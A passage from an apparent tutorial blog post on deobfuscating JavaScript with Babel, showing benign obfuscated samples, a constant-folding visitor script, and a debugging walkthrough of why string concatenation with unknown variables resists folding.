splitConstantsObfuscated.js"</span><br><span class="hljs-comment"> * This is the resulting code after obfuscation.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">let</span> foo = <span class="hljs-number">12373561</span> ^ (<span class="hljs-number">12373561</span> * <span class="hljs-number">13</span> + <span class="hljs-number">3</span> * <span class="hljs-number">7</span>) ^ <span class="hljs-number">153794264</span>;<br><span class="hljs-keyword">let</span> bar =<br> (<span class="hljs-number">535</span> + <span class="hljs-literal">false</span>) ^<br> (<span class="hljs-number">2318</span> + <span class="hljs-literal">true</span> * -<span class="hljs-number">1399</span> + <span class="hljs-literal">true</span>) ^<br> (<span class="hljs-number">1321</span> - <span class="hljs-number">1234</span> / <span class="hljs-number">2340</span> + <span class="hljs-literal">true</span> + <span class="hljs-literal">true</span> * <span class="hljs-number">50</span> + <span class="hljs-literal">false</span>) ^<br> <span class="hljs-number">1232</span>;<br><span class="hljs-keyword">let</span> baz =<br> <span class="hljs-string">"I "</span> +<br> <span class="hljs-string">"a"</span> +<br> <span class="hljs-string">"m"</span> +<br> <span class="hljs-string">" a"</span> +<br> <span class="hljs-string">" st"</span> +<br> <span class="hljs-string">"ri"</span> +<br> <span class="hljs-string">"ng"</span> +<br> <span class="hljs-string">" lite"</span> +<br> <span class="hljs-string">"ra"</span> +<br> <span class="hljs-string">"l,"</span> +<br> <span class="hljs-string">" tot"</span> +<br> <span class="hljs-string">"al"</span> +<br> <span class="hljs-string">"l"</span> +<br> <span class="hljs-string">"y"</span> +<br> <span class="hljs-string">" wh"</span> +<br> <span class="hljs-string">"ol"</span> +<br> <span class="hljs-string">"e"</span> +<br> <span class="hljs-string">"!"</span>;<br></code></pre></td></tr></table></figure><p>As you can see, the obfuscation has transformed what used to be easy to read constants; <code>27</code>, <code>4</code>, <code>"I am a string literal, totally whole!"</code> ; into multiple expressions with arithmetic and bitwise operators. The code is even using mathematical operators on booleans! Someone reading the code would likely need to evaluate each expression in a debugger to figure out the value of each variable. Let’s paste the second snippet in the dev tools console to check:</p><p><img src="/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/constantFolding1.PNG" alt="Checking the evaluated values in the DevTools console"></p><p>We can observe that each variable in the second snippet has an equivalent ability to that of its first snippet counterpart. The way the javascript engine simplified the expressions down to a constant is the essence of <strong><em>Constant Folding</em></strong>.</p><p>Now, hypothetically, you <em>could</em> just evaluate each expression in a javascript interpreter and replace it by hand manually. And sure, you could do that in just a few seconds for the snippet I provided. But that isn’t a feasible solution if there were hundreds or even thousands of lines of code in a program similar to this. Thankfully for us, Babel has an inbuilt feature that can help us automate the simplification.</p><h3 id="Analysis-Methodology"><a href="#Analysis-Methodology" class="headerlink" title="Analysis Methodology"></a>Analysis Methodology</h3><p>Let’s start by pasting the obfuscated sample into <a href="https://astexplorer.net/">AST Explorer</a></p><p><img src="/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/constantFolding2.PNG" alt="View of the obfuscated code in AST Explorer"></p><p>If we click on one of the expression chunks on the right-hand side of the assignment expressions, we can take a closer look at the AST structure:</p><p><img src="/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/constantFolding3.PNG" alt="A closer look at one of the nodes of interest"></p><p>We can see that in this case, the small chunk of the string is of type <em>StringLiteral</em>, and it’s contained inside a bunch of nested <em>BinaryExpression</em> nodes. If we look at any other fraction of the other expressions, we can observe two important commonalities</p><ol><li><p>A constant value, or <em>Literal</em> (e.g. <em>StringLiteral</em>,<em>NumericLiteral</em>, or <em>BooleanLiteral</em>)</p></li><li><p>The <em>Literal</em> is contained inside a single or nested BinaryExpression(s).</p></li></ol><p>Our final goal is to evaluate all the binary expressions to reduce each right-hand side expression to a constant <em>Literal</em> value. Based on the nested nature of the <em>BinaryExpressions</em>, you might be thinking of manually writing a recursive algorithm. However, there’s a much simpler way to accomplish the same effect using Babel’s inbuilt <code>path.evaluate()</code> function. Here’s how we’re going to use it:</p><ol><li>Traverse through the AST to search for BinaryExpressions</li><li>If a BinaryExpression is encountered, try to evaluate it using <code>path.evaluate()</code>.</li><li>Check if it returns <code>confident:true</code>. If <code>confident</code> is <code>false</code>, skip the node by returning.</li><li>Create a node from the value using <code>t.valueToNode(value)</code> to infer the type, and assign it to a new variable, <code>valueNode</code></li><li>Check that the resulting <code>valueNode</code> is a <em>Literal</em> type. If the check returns <code>false</code> skip the node by returning.<ul><li>This will cover <em>StringLiteral</em>, <em>NumericLiteral</em>, <em>BooleanLiteral</em> etc. types and skip over others that would result from invalid operations (e.g. <code>t.valueToNode(Infinity)</code> is of type <em>BinaryExpression</em>, <code>t.valueToNode(undefined)</code> is of type identifier)</li></ul></li><li>Replace the BinaryExpression node with our newly created `valueNode’.<br>The babel implementation is shown below:</li></ol><h3 id="Babel-Deobfuscation-Script"><a href="#Babel-Deobfuscation-Script" class="headerlink" title="Babel Deobfuscation Script"></a>Babel Deobfuscation Script</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Deobfuscator.js</span><br><span class="hljs-comment"> * The babel script used to deobfuscate the target file</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> t = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> beautify = <span class="hljs-built_in">require</span>(<span class="hljs-string">"js-beautify"</span>);<br><span class="hljs-keyword">const</span> { readFileSync, writeFile } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Main function to deobfuscate the code.</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> source The source code of the file to be deobfuscated</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">deobfuscate</span>(<span class="hljs-params">source</span>) {<br> <span class="hljs-comment">//Parse AST of Source Code</span><br> <span class="hljs-keyword">const</span> ast = parser.<span class="hljs-title function_">parse</span>(source);<br><br> <span class="hljs-comment">// Visitor for constant folding</span><br> <span class="hljs-keyword">const</span> foldConstantsVisitor = {<br> <span class="hljs-title class_">BinaryExpression</span>(path) {<br> <span class="hljs-keyword">let</span> { confident, value } = path.evaluate(); <span class="hljs-comment">// Evaluate the binary expression</span><br> <span class="hljs-keyword">if</span> (!confident) <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Skip if not confident</span><br> <span class="hljs-keyword">let</span> actualVal = t.<span class="hljs-title function_">valueToNode</span>(value); <span class="hljs-comment">// Create a new node, infer the type</span><br> <span class="hljs-keyword">if</span> (!t.<span class="hljs-title function_">isLiteral</span>(actualVal)) <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Skip if not a Literal type (e.g. StringLiteral, NumericLiteral, Boolean Literal etc.)</span><br> path.<span class="hljs-title function_">replaceWith</span>(actualVal); <span class="hljs-comment">// Replace the BinaryExpression with the simplified value</span><br> },<br> };<br><br> <span class="hljs-comment">// Execute the visitor</span><br> <span class="hljs-title function_">traverse</span>(ast, foldConstantsVisitor);<br><br> <span class="hljs-comment">// Code Beautification</span><br> <span class="hljs-keyword">let</span> deobfCode = <span class="hljs-title function_">generate</span>(ast, { <span class="hljs-attr">comments</span>: <span class="hljs-literal">false</span> }).<span class="hljs-property">code</span>;<br> deobfCode = <span class="hljs-title function_">beautify</span>(deobfCode, {<br> <span class="hljs-attr">indent_size</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-attr">space_in_empty_paren</span>: <span class="hljs-literal">true</span>,<br> });<br> <span class="hljs-comment">// Output the deobfuscated result</span><br> <span class="hljs-title function_">writeCodeToFile</span>(deobfCode);<br>}<br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Writes the deobfuscated code to output.js</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> code The deobfuscated code</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">writeCodeToFile</span>(<span class="hljs-params">code</span>) {<br> <span class="hljs-keyword">let</span> outputPath = <span class="hljs-string">"output.js"</span>;<br> <span class="hljs-title function_">writeFile</span>(outputPath, code, <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {<br> <span class="hljs-keyword">if</span> (err) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"Error writing f ile"</span>, err);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">`Wrote file to <span class="hljs-subst">${outputPath}</span>`</span>);<br> }<br> });<br>}<br><br><span class="hljs-title function_">deobfuscate</span>(<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">"./splitConstantsObfuscated.js"</span>, <span class="hljs-string">"utf8"</span>));<br></code></pre></td></tr></table></figure><p>After processing the obfuscated script with the babel plugin above, we get the following result:</p><h3 id="Post-Deobfuscation-Result"><a href="#Post-Deobfuscation-Result" class="headerlink" title="Post-Deobfuscation Result"></a>Post-Deobfuscation Result</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> foo = <span class="hljs-number">27</span>;<br><span class="hljs-keyword">let</span> bar = <span class="hljs-number">4</span>;<br><span class="hljs-keyword">let</span> baz = <span class="hljs-string">"I am a string literal, totally whole!"</span>;<br></code></pre></td></tr></table></figure><p>And the original code is completely restored!</p><h2 id="Example-2-A-Confident-Complication"><a href="#Example-2-A-Confident-Complication" class="headerlink" title="Example #2: A Confident Complication"></a>Example #2: A Confident Complication</h2><p>If you’ve read my article on <a href="http://steakenthusiast.github.io/2022/05/22/Deobfuscating-Javascript-via-AST-Manipulation-Various-String-Concealing-Techniques/"><em>String Concealing</em></a>, specifically the section on <a href="http://steakenthusiast.github.io/2022/05/22/Deobfuscating-Javascript-via-AST-Manipulation-Various-String-Concealing-Techniques/#Example-3-String-Concatenation"><em>String Concatenation</em></a>, you may know that you can encounter a problem using the babel script above.</p><p>Let’s say you have a code snippet like this:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Snippet 1</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, emoji</span>) {<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> = name;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> = school;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span> = emoji;<br> }<br><br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-string">"Hello, my name is "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> +<br> <span class="hljs-string">". I g"</span> +<br> <span class="hljs-string">"o t"</span> +<br> <span class="hljs-string">"o "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> +<br> <span class="hljs-string">" an"</span> +<br> <span class="hljs-string">"d "</span> +<br> <span class="hljs-string">"m"</span> +<br> <span class="hljs-string">"y"</span> +<br> <span class="hljs-string">" fa"</span> +<br> <span class="hljs-string">"vo"</span> +<br> <span class="hljs-string">"ur"</span> +<br> <span class="hljs-string">"ite"</span> +<br> <span class="hljs-string">" ani"</span> +<br> <span class="hljs-string">"ma"</span> +<br> <span class="hljs-string">"l"</span> +<br> <span class="hljs-string">" is"</span> +<br> <span class="hljs-string">" a "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span>;<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(helloStatement);<br> }<br>}<br></code></pre></td></tr></table></figure><p>By manual inspection, you can probably deduce that it can be reduced to this:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Snippet 1, manually deobfuscated</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, animal</span>) {<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> = name;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> = school;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span> = animal;<br> }<br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-string">"Hello, my name is "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> +<br> <span class="hljs-string">". I go to "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> +<br> <span class="hljs-string">" and my favourite animal is a "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span>;<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(helloStatement);<br> }<br>}<br></code></pre></td></tr></table></figure><p>However, if we try running the deobfuscator we made above against the obfuscated snippet, it yields this result:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Snippet 1, processed through the deobfuscator</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, emoji</span>) {<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> = name;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> = school;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span> = emoji;<br> }<br><br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-string">"Hello, my name is "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> +<br> <span class="hljs-string">". I g"</span> +<br> <span class="hljs-string">"o t"</span> +<br> <span class="hljs-string">"o "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> +<br> <span class="hljs-string">" an"</span> +<br> <span class="hljs-string">"d "</span> +<br> <span class="hljs-string">"m"</span> +<br> <span class="hljs-string">"y"</span> +<br> <span class="hljs-string">" fa"</span> +<br> <span class="hljs-string">"vo"</span> +<br> <span class="hljs-string">"ur"</span> +<br> <span class="hljs-string">"ite"</span> +<br> <span class="hljs-string">" ani"</span> +<br> <span class="hljs-string">"ma"</span> +<br> <span class="hljs-string">"l"</span> +<br> <span class="hljs-string">" is"</span> +<br> <span class="hljs-string">" a "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span>;<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(helloStatement);<br> }<br>}<br></code></pre></td></tr></table></figure><p>It hasn’t been simplified at all! But why?</p><h3 id="Where-The-Issue-Lies"><a href="#Where-The-Issue-Lies" class="headerlink" title="Where The Issue Lies"></a>Where The Issue Lies</h3><p>To figure out what the problem is, let’s use a debugger and set breakpoints to try and understand what our deobfuscator is actually doing.</p><p><img src="/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/constantFolding4.png" alt="Placing a debugger statement"></p><p>We know that our visitor is acting on nodes of type <em>BinaryExpression</em>. A binary expression always has 3 main components: a left side, a right side, and an operator. For our example, the operator is always addition, <code>+</code>. On each iteration, let’s run these commands in the debug console to check what our left and right side are.</p><ul><li><code>generate(path.node).code</code></li><li><code>generate(path.node.left).code</code></li><li><code>generate(path.node.right).code</code></li></ul><p>Below is a screencap of what the first two iterations would look like:</p><p><img src="/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/constantFolding5.png" alt="The first and second pause"></p><p>When the visitor is first called, path.evaluate() will not return a value and the <code>confident</code> return value will be <code>false</code>. A <code>false</code> value for <code>confident</code> arises when the expression to be evaluated contains a variable whose value is currently unknown, and therefore Babel cannot be “confident” when attempting to compute an expression containing it. In the case of the first expression, the unknown variable (<code>this.favAnimal</code>) on the right side of the expression, and two unknown variables: (<code>this.name</code> & <code>this.school</code>) on the left side of the expression prevent path.evaluate() for returning a literal value. When the debugger statement is reached for a second time, the right-hand side of the expression is a <em>StringLiteral</em> (<code>"a"</code>). However, the left-hand side still contains variables with an unknown value. If we were to continue this for each time the breakpoint is encountered, the structure would look like this:</p><table><thead><tr><th>Iteration</th><th>Left Side</th><th>Operator</th><th>Right Side</th></tr></thead><tbody><tr><td>1</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m” + “y” + “ fa” + “vo” + “ur” + “ite” + “ ani” + “ma” + “l” + “ is” + “ a “</td><td>+</td><td>this.favAnimal</td></tr><tr><td>2</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m” + “y” + “ fa” + “vo” + “ur” + “ite” + “ ani” + “ma” + “l” + “ is”</td><td>+</td><td>“ a”</td></tr><tr><td>3</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m” + “y” + “ fa” + “vo” + “ur” + “ite” + “ ani” + “ma” + “l”</td><td>+</td><td>“ is”</td></tr><tr><td>4</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m” + “y” + “ fa” + “vo” + “ur” + “ite” + “ ani” + “ma”</td><td>+</td><td>“l”</td></tr><tr><td>5</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m” + “y” + “ fa” + “vo” + “ur” + “ite” + “ ani”</td><td>+</td><td>“ma”</td></tr><tr><td>6</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m” + “y” + “ fa” + “vo” + “ur” + “ite”</td><td>+</td><td>“ ani”</td></tr><tr><td>7</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m” + “y” + “ fa” + “vo” + “ur”</td><td>+</td><td>“ite”</td></tr><tr><td>8</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m” + “y” + “ fa” + “vo”</td><td>+</td><td>“ur”</td></tr><tr><td>9</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m” + “y” + “ fa”</td><td>+</td><td>“vo”</td></tr><tr><td>10</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m” + “y”</td><td>+</td><td>“ fa”</td></tr><tr><td>11</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “ + “m”</td><td>+</td><td>“y”</td></tr><tr><td>12</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an” + “d “</td><td>+</td><td>“m”</td></tr><tr><td>13</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school + “ an”</td><td>+</td><td>“d “</td></tr><tr><td>14</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “ + this.school</td><td>+</td><td>“ an”</td></tr><tr><td>14</td><td>“Hello, my name is “ + this.name + “. I g” + “o t” + “o “</td><td>+</td><td>this.school</td></tr><tr><td>14</td><td>“Hello, my name is “ + this.name + “. I g” + “o t”</td><td>+</td><td>“o “</td></tr><tr><td>14</td><td>“Hello, my name is “ + this.name + “. I g”</td><td>+</td><td>“o t”</td></tr><tr><td>14</td><td>“Hello, my name is “ + this.name</td><td>+</td><td>“. I g”</td></tr><tr><td>14</td><td>“Hello, my name is “</td><td>+</td><td>this.name</td></tr></tbody></table><p>It’s evident that at every encounter, one of the sides will <em>always</em> contain a variable of unknown value. Therefore, path.evaluate() will return <code>confident: false</code> and be useless in simplifying the expression. So, we’ll need to try something else.</p><h3 id="Constructing-the-Solution"><a href="#Constructing-the-Solution" class="headerlink" title="Constructing the Solution"></a>Constructing the Solution</h3><h4 id="Idea-1-Prioritizing-Chunks-of-Consecutive-Literals"><a href="#Idea-1-Prioritizing-Chunks-of-Consecutive-Literals" class="headerlink" title="Idea #1: Prioritizing Chunks of Consecutive Literals"></a>Idea #1: Prioritizing Chunks of Consecutive Literals</h4><p>We know that the issue lies with one of the sides containing a variable. However, we can see that there are chunks of the code that contain <em><strong>consecutive string literals only</strong></em>:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">//Chunk 1</span><br><span class="hljs-string">"Hello, my name is "</span>;<br><span class="hljs-comment">//Chunk 2</span><br><span class="hljs-string">". I g"</span> + <span class="hljs-string">"o t"</span> + <span class="hljs-string">"o "</span>;<br><br><span class="hljs-comment">// Chunk 3</span><br><span class="hljs-string">" an"</span> +<br> <span class="hljs-string">"d "</span> +<br> <span class="hljs-string">"m"</span> +<br> <span class="hljs-string">"y"</span> +<br> <span class="hljs-string">" fa"</span> +<br> <span class="hljs-string">"vo"</span> +<br> <span class="hljs-string">"ur"</span> +<br> <span class="hljs-string">"ite"</span> +<br> <span class="hljs-string">" ani"</span> +<br> <span class="hljs-string">"ma"</span> +<br> <span class="hljs-string">"l"</span> +<br> <span class="hljs-string">" is"</span> +<br> <span class="hljs-string">" a "</span>;<br></code></pre></td></tr></table></figure><p>If there were some way to prioritize these smaller chunks, then surely path.evaluate() would be able to simplify them. This is indeed the case, as we can prove this by manually wrapping each of these chunks in parentheses to force them to be evaluated first:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Snippet 2: wrapping consecutive strings in parentheses</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, emoji</span>) {<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> = name;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> = school;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span> = emoji;<br> }<br><br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-string">"Hello, my name is "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> +<br> (<span class="hljs-string">". I g"</span> + <span class="hljs-string">"o t"</span> + <span class="hljs-string">"o "</span>) +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> +<br> (<span class="hljs-string">" an"</span> +<br> <span class="hljs-string">"d "</span> +<br> <span class="hljs-string">"m"</span> +<br> <span class="hljs-string">"y"</span> +<br> <span class="hljs-string">" fa"</span> +<br> <span class="hljs-string">"vo"</span> +<br> <span class="hljs-string">"ur"</span> +<br> <span class="hljs-string">"ite"</span> +<br> <span class="hljs-string">" ani"</span> +<br> <span class="hljs-string">"ma"</span> +<br> <span class="hljs-string">"l"</span> +<br> <span class="hljs-string">" is"</span> +<br> <span class="hljs-string">" a "</span>) +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span>;<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(helloStatement);<br> }<br>}<br></code></pre></td></tr></table></figure><p>Running this through the deobfuscator, we get our desired result:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Snippet 2, processed through the deobfuscator.</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, emoji</span>) {<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> = name;<br> <span class="hljs-variable 